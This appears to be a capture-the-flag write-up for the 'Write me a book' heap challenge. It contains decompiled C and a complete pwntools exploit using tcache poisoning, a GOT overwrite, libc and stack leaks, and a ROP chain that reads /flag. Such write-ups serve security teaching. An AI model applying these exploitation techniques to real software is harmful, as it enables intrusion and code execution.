Write me a book#

1
int __cdecl main(int argc, const char **argv, const char **envp)
2
{
3
  setup(argc, argv, envp);
4
  puts("Welcome to the library of hopes and dreams!");
5
  puts("\nWe heard about your journey...");
6
  puts("and we want you to share about your experiences!");
7
  puts("\nWhat would you like your author signature to be?");
8
  printf("> ");
9
  LODWORD(author_signature) = ' yb';
10
  __isoc99_scanf("%12s", (char *)&author_signature + 3);
11
  puts("\nGreat! We would like you to write no more than 10 books :)");
12
  puts("Please feel at home.");
13
  secure_library();
14
  write_books();
15
  return puts("Goodbye!");
16
}

1
unsigned __int64 write_books()
2
{
3
  int choice; // [rsp+0h] [rbp-10h] BYREF
4
  int fav_num; // [rsp+4h] [rbp-Ch] BYREF
5
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]
6

7
  v3 = __readfsqword(0x28u);
8
  while ( 1 )
9
  {
10
    while ( 1 )
11
    {
12
      print_menu();
13
      __isoc99_scanf("%d", &choice);
14
      getchar();
15
      if ( choice != 1337 )
16
        break;
17
      if ( !secret_msg )
18
      {
19
        printf("What is your favourite number? ");
20
        __isoc99_scanf("%d", &fav_num);
21
        if ( fav_num > 0 && fav_num <= 10 && slot[2 * fav_num - 2] )
22
          printf("You found a secret message: %p\n", slot[2 * fav_num - 2]);
23
        secret_msg = 1;
24
      }
25
LABEL_19:
26
      puts("Invalid choice.");
27
    }
28
    if ( choice > 1337 )
29
      goto LABEL_19;
30
    if ( choice == 4 )
31
      return v3 - __readfsqword(0x28u);
32
    if ( choice > 4 )
33
      goto LABEL_19;
34
    switch ( choice )
35
    {
36
      case 3:
37
        throw_book();
38
        break;
39
      case 1:
40
        write_book();
41
        break;
42
      case 2:
43
        rewrite_book();
44
        break;
45
      default:
46
        goto LABEL_19;
47
    }
48
  }
49
}

1
unsigned __int64 throw_book()
2
{
3
  int v1; // [rsp+4h] [rbp-Ch] BYREF
4
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]
5

6
  v2 = __readfsqword(0x28u);
7
  puts("\nAt which index of the shelf would you like to throw your book?");
8
  printf("Index: ");
9
  __isoc99_scanf("%d", &v1);
10
  getchar();
11
  if ( v1 > 0 && v1 <= 10 && slot[2 * v1 - 2] )
12
  {
13
    free(slot[2 * --v1]);
14
    slot[2 * v1] = 0LL;
15
    puts("Your book has been thrown!\n");
16
  }
17
  else
18
  {
19
    puts("Invaid slot!");
20
  }
21
  return v2 - __readfsqword(0x28u);
22
}

1
unsigned __int64 write_book()
2
{
3
  int idx2; // ebx
4
  _QWORD *v1; // rcx
5
  __int64 v2; // rdx
6
  int idx; // [rsp+4h] [rbp-4Ch] BYREF
7
  size_t size; // [rsp+8h] [rbp-48h]
8
  char buf[32]; // [rsp+10h] [rbp-40h] BYREF
9
  char v7; // [rsp+30h] [rbp-20h]
10
  unsigned __int64 v8; // [rsp+38h] [rbp-18h]
11

12
  v8 = __readfsqword(0x28u);
13
  puts("\nAt which index of the shelf would you like to insert your book?");
14
  printf("Index: ");
15
  __isoc99_scanf("%d", &idx);
16
  getchar();
17
  if ( idx <= 0 || idx > 10 || slot[2 * idx - 2] )
18
  {
19
    puts("Invaid slot!");
20
  }
21
  else
22
  {
23
    --idx;
24
    memset(buf, 0, sizeof(buf));
25
    v7 = 0;
26
    puts("Write me a book no more than 32 characters long!");
27
    size = read(0, buf, 0x20uLL) + 0x10;
28
    idx2 = idx;
29
    slot[2 * idx2] = malloc(size);
30
    memcpy(slot[2 * idx], buf, size - 0x10);
31
    v1 = (char *)slot[2 * idx] + size - 0x10;
32
    v2 = qword_4040D8;
33
    *v1 = *(_QWORD *)author_signature;
34
    v1[1] = v2;
35
    books[idx].size = size;
36
    puts("Your book has been published!\n");
37
  }
38
  return v8 - __readfsqword(0x28u);
39
}

1
unsigned __int64 rewrite_book()
2
{
3
  _QWORD *v0; // rcx
4
  __int64 v1; // rdx
5
  int idx; // [rsp+Ch] [rbp-14h] BYREF
6
  ssize_t v4; // [rsp+10h] [rbp-10h]
7
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]
8

9
  v5 = __readfsqword(0x28u);
10
  puts("\nAt which index of the shelf would you like to rewrite your book?");
11
  printf("Index: ");
12
  __isoc99_scanf("%d", &idx);
13
  getchar();
14
  if ( idx > 0 && idx <= 10 && slot[2 * idx - 2] )
15
  {
16
    --idx;
17
    puts("Write me the new contents of your book that is no longer than what it was before.");
18
    v4 = read(0, slot[2 * idx], books[idx].size);
19
    v0 = (__int64 *)((char *)slot[2 * idx]->buf + v4);
20
    v1 = qword_4040D8;
21
    *v0 = author_signature;
22
    v0[1] = v1;
23
    puts("Your book has been rewritten!\n");
24
  }
25
  else
26
  {
27
    puts("Invaid slot!");
28
  }
29
  return v5 - __readfsqword(0x28u);
30
}

1
    edit(1, pwn.flat([
2
            # 1==
3
            0xff, # sz
4
            exe.sym.stdout, # to leak libc
5
            # 2==
6
            0x8, # sz
7
            exe.got.free, # to do GOT hiijacking
8
            # 3==
9
            0x8, # sz
10
            exe.sym.secret_msg, # to be able to print an entry of @books
11
            # 4==
12
            0xff, # sz
13
            exe.sym.books # ptr to itself to be able to rewrite the entries when we need to do so
14
        ] + [0] * 0x60, filler = b"\x00"))

1
def leak_environ(idx):
2
    io.sendlineafter(b"Option: ", b"3")
3
    io.sendlineafter(b"Index: ", str(idx).encode())
4
    return pwn.unpack(io.recvline().replace(b"\n", b"").ljust(8, b"\x00"))
5

6
# leak stack (environ)
7
edit(4, pwn.flat([
8
        # 1==
9
        0xff, # sz
10
        libc.sym.environ # target
11
    ], filler = b"\x00"))
12

13
environ = leak_environ(1)
14
pwn.log.success(f"environ: {hex(environ)}")
15

16
stackframe_rewrite = environ - 0x150
17
pwn.log.success(f"stackframe_rewrite: {hex(stackframe_rewrite)}")

1
rop = pwn.ROP(libc, base=stackframe_rewrite)
2

3
# setup the write to the rewrite stackframe
4
edit(4, pwn.flat([
5
        # 1==
6
        0xff, # sz
7
        stackframe_rewrite # target
8
    ], filler = b"\x00"))
9

10
# ROPchain
11
rop(rax=pwn.constants.SYS_open, rdi=stackframe_rewrite + 0xde + 2, rsi=pwn.constants.O_RDONLY) # open
12
rop.call(rop.find_gadget(["syscall", "ret"]))
13
rop(rax=pwn.constants.SYS_read, rdi=3, rsi=heap_leak, rdx=0x100) # file descriptor bf ...
14
rop.call(rop.find_gadget(["syscall", "ret"]))
15

16
rop(rax=pwn.constants.SYS_write, rdi=1, rsi=heap_leak, rdx=0x100) # write
17
rop.call(rop.find_gadget(["syscall", "ret"]))
18
rop.exit(0x1337)
19
rop.raw(b"/flag\x00")
20

21
print(rop.dump())
22
print(hex(len(rop.chain()) - 8))
23

24
# write and trigger the ROPchain
25
edit(1, rop.chain())

1
#!/usr/bin/env python
2
# -*- coding: utf-8 -*-
3

4
# this exploit was generated via
5
# 1) pwntools
6
# 2) ctfmate
7

8
import os
9
import time
10
import pwn
11

12
BINARY = "chall"
13
LIBC = "/home/nasm/Documents/pwn/greycat/writemeabook/dist/libc.so.6"
14
LD = "/home/nasm/Documents/pwn/greycat/writemeabook/dist/ld-linux-x86-64.so.2"
15

16
# Set up pwntools for the correct architecture
17
exe = pwn.context.binary = pwn.ELF(BINARY)
18
libc = pwn.ELF(LIBC)
19
ld = pwn.ELF(LD)
20
pwn.context.terminal = ["tmux", "splitw", "-h"]
21
pwn.context.delete_corefiles = True
22
pwn.context.rename_corefiles = False
23
p64 = pwn.p64
24
u64 = pwn.u64
25
p32 = pwn.p32
26
u32 = pwn.u32
27
p16 = pwn.p16
28
u16 = pwn.u16
29
p8  = pwn.p8
30
u8  = pwn.u8
31

32
host = pwn.args.HOST or '127.0.0.1'
33
port = int(pwn.args.PORT or 1337)
34

35

36
def local(argv=[], *a, **kw):
37
    '''Execute the target binary locally'''
38
    if pwn.args.GDB:
39
        return pwn.gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
40
    else:
41
        return pwn.process([exe.path] + argv, *a, **kw)
42

43

44
def remote(argv=[], *a, **kw):
45
    '''Connect to the process on the remote host'''
46
    io = pwn.connect(host, port)
47
    if pwn.args.GDB:
48
        pwn.gdb.attach(io, gdbscript=gdbscript)
49
    return io
50

51

52
def start(argv=[], *a, **kw):
53
    '''Start the exploit against the target.'''
54
    if pwn.args.LOCAL:
55
        return local(argv, *a, **kw)
56
    else:
57
        return remote(argv, *a, **kw)
58

59

60
gdbscript = '''
61
source /home/nasm/Downloads/pwndbg/gdbinit.py
62
'''.format(**locals())
63

64
HEAP_OFFT = 0x3d10
65
CHUNK3_OFFT = 0x3d50
66
STDOUT = 0x21a780
67

68
def encode_ptr(heap, offt, value):
69
    return ((heap + offt) >> 12) ^ value
70

71
import subprocess
72
def one_gadget(filename):
73
  return [int(i) for i in subprocess.check_output(['one_gadget', '--raw', filename]).decode().split(' ')]
74

75
def exp():
76

77
    io = start()
78

79
    def init(flip):
80
        io.sendlineafter(b"> ", flip)
81

82
    def add(idx, data: bytes):
83
        io.sendlineafter(b"Option: ", b"1")
84
        io.sendlineafter(b"Index: ", str(idx).encode())
85
        io.sendlineafter(b"Write me a book no more than 32 characters long!\n", data)
86

87
    def edit(idx, data):
88
        io.sendlineafter(b"Option: ", b"2")
89
        io.sendlineafter(b"Index: ", str(idx).encode())
90
        io.sendlineafter(b"Write me the new contents of your book that is no longer than what it was before.\n", data)
91

92
    def free(idx):
93
        io.sendlineafter(b"Option: ", b"3")
94
        io.sendlineafter(b"Index: ", str(idx).encode())
95

96
    def heapLeak(idx):
97
        io.sendlineafter(b"Option: ", b"1337")
98
        io.sendlineafter(b"What is your favourite number? ", str(idx).encode())
99
        io.recvuntil(b"You found a secret message: ")
100
        return int(io.recvline().replace(b"\n", b"").decode(), 16) - HEAP_OFFT
101

102
    def enable_print(idx):
103
        edit(idx, b"".join([
104
            pwn.p64(0)
105
        ]))
106

107
    def libc_leak_free(idx):
108
        io.sendlineafter(b"Option: ", b"3")
109
        io.sendlineafter(b"Index: ", str(idx).encode())
110
        return pwn.unpack(io.recvline().replace(b"\n", b"").ljust(8, b"\x00")) - STDOUT
111

112
    def leak_environ(idx):
113
        io.sendlineafter(b"Option: ", b"3")
114
        io.sendlineafter(b"Index: ", str(idx).encode())
115
        return pwn.unpack(io.recvline().replace(b"\n", b"").ljust(8, b"\x00"))
116

117
    init(b"m"*4 + pwn.p8(0x41))
118

119
    add(1, b"K"*0x10)
120
    heap_leak = heapLeak(1)
121
    pwn.log.success(f"heap: {hex(heap_leak)}")
122

123
    # victim
124
    add(2, b"")
125
    add(3, b"".join([   b"A"*0x10,
126
                        pwn.p64(0), # prev_sz
127
                        pwn.p64(0x21) # fake size
128
                    ]))
129

130
    add(4, b"".join([   b"A"*0x10,
131
                        pwn.p64(0), # prev_sz
132
                        pwn.p64(0x21) # fake size
133
                    ]))
134
    free(4) # count for 0x40 tcachebin = 1
135

136
    # chunk2 => sz extended
137
    edit(1, b"K"*0x20)
138
    # chunk2 => tcachebin 0x40, count = 2
139
    free(2)
140

141
    # oob write over chunk3, we keep valid header
142
    add(2, b"".join([   pwn.p64(0)*3,
143
                        pwn.p64(0x41) # valid size to end up in the 0x40 tcache bin
144
                    ])) # count = 1
145

146
    # chunk3 => 0x40 tcachebin, count = 2
147
    free(3)
148

149
    pwn.log.info(f"Encrypted fp: {hex(encode_ptr(heap_leak, CHUNK3_OFFT, exe.got.printf))}")
150

151
    # tcache poisoning
152
    edit(2, b"".join([   pwn.p64(0)*3,
153
                         pwn.p64(0x41), # valid size
154
                         pwn.p64(encode_ptr(heap_leak, CHUNK3_OFFT, exe.sym.books)) # forward ptr
155
                     ]))
156

157
    # dumb
158
    add(3, b"A"*0x20) # count = 1
159

160
    # arbitrary write to @books, this way books[1] is user controlled
161
    add(4, b"".join([
162
        pwn.p64(0x1000), # sz
163
        pwn.p64(exe.sym.books), # target
164
        b"P"*0x10
165
    ])) # count = 0
166

167
    # we can write way more due to the previous call
168
    edit(1, pwn.flat([
169
            # 1==
170
            0xff, # sz
171
            exe.sym.stdout, # target
172
            # 2==
173
            0x8, # sz
174
            exe.got.free, # target
175
            # 3==
176
            0x8, # sz
177
            exe.sym.secret_msg, # target
178
            # 4==
179
            0xff, # sz
180
            exe.sym.books # target
181
        ] + [0] * 0x60, filler = b"\x00"))
182

183
    # free@got => puts
184
    edit(2, b"".join([
185
            pwn.p64(exe.sym.puts)
186
        ]))
187

188
    # can print = true
189
    enable_print(3)
190

191
    # libc leak
192
    libc.address = libc_leak_free(1)
193
    pwn.log.success(f"libc: {hex(libc.address)}")
194

195
    # leak stack (environ)
196
    edit(4, pwn.flat([
197
            # 1==
198
            0xff, # sz
199
            libc.sym.environ # target
200
        ], filler = b"\x00"))
201

202
    environ = leak_environ(1)
203
    pwn.log.success(f"environ: {hex(environ)}")
204

205
    stackframe_rewrite = environ - 0x150
206
    pwn.log.success(f"stackframe_rewrite: {hex(stackframe_rewrite)}")
207

208
    rop = pwn.ROP(libc, base=stackframe_rewrite)
209

210
    # setup the write to the rewrite stackframe
211
    edit(4, pwn.flat([
212
            # 1==
213
            0xff, # sz
214
            stackframe_rewrite # target
215
        ], filler = b"\x00"))
216

217
    # ROPchain
218
    rop(rax=pwn.constants.SYS_open, rdi=stackframe_rewrite + 0xde + 2, rsi=pwn.constants.O_RDONLY) # open
219
    rop.call(rop.find_gadget(["syscall", "ret"]))
220
    rop(rax=pwn.constants.SYS_read, rdi=3, rsi=heap_leak, rdx=0x100) # file descriptor bf ...
221
    rop.call(rop.find_gadget(["syscall", "ret"]))
222

223
    rop(rax=pwn.constants.SYS_write, rdi=1, rsi=heap_leak, rdx=0x100) # write
224
    rop.call(rop.find_gadget(["syscall", "ret"]))
225
    rop.exit(0x1337)
226
    rop.raw(b"/flag\x00")
227

228
    print(rop.dump())
229
    print(hex(len(rop.chain()) - 8))
230

231
    # write and trigger the ROPchain
232
    edit(1, rop.chain())
233

234
    io.interactive()
235

236
if __name__ == "__main__":
237
    exp()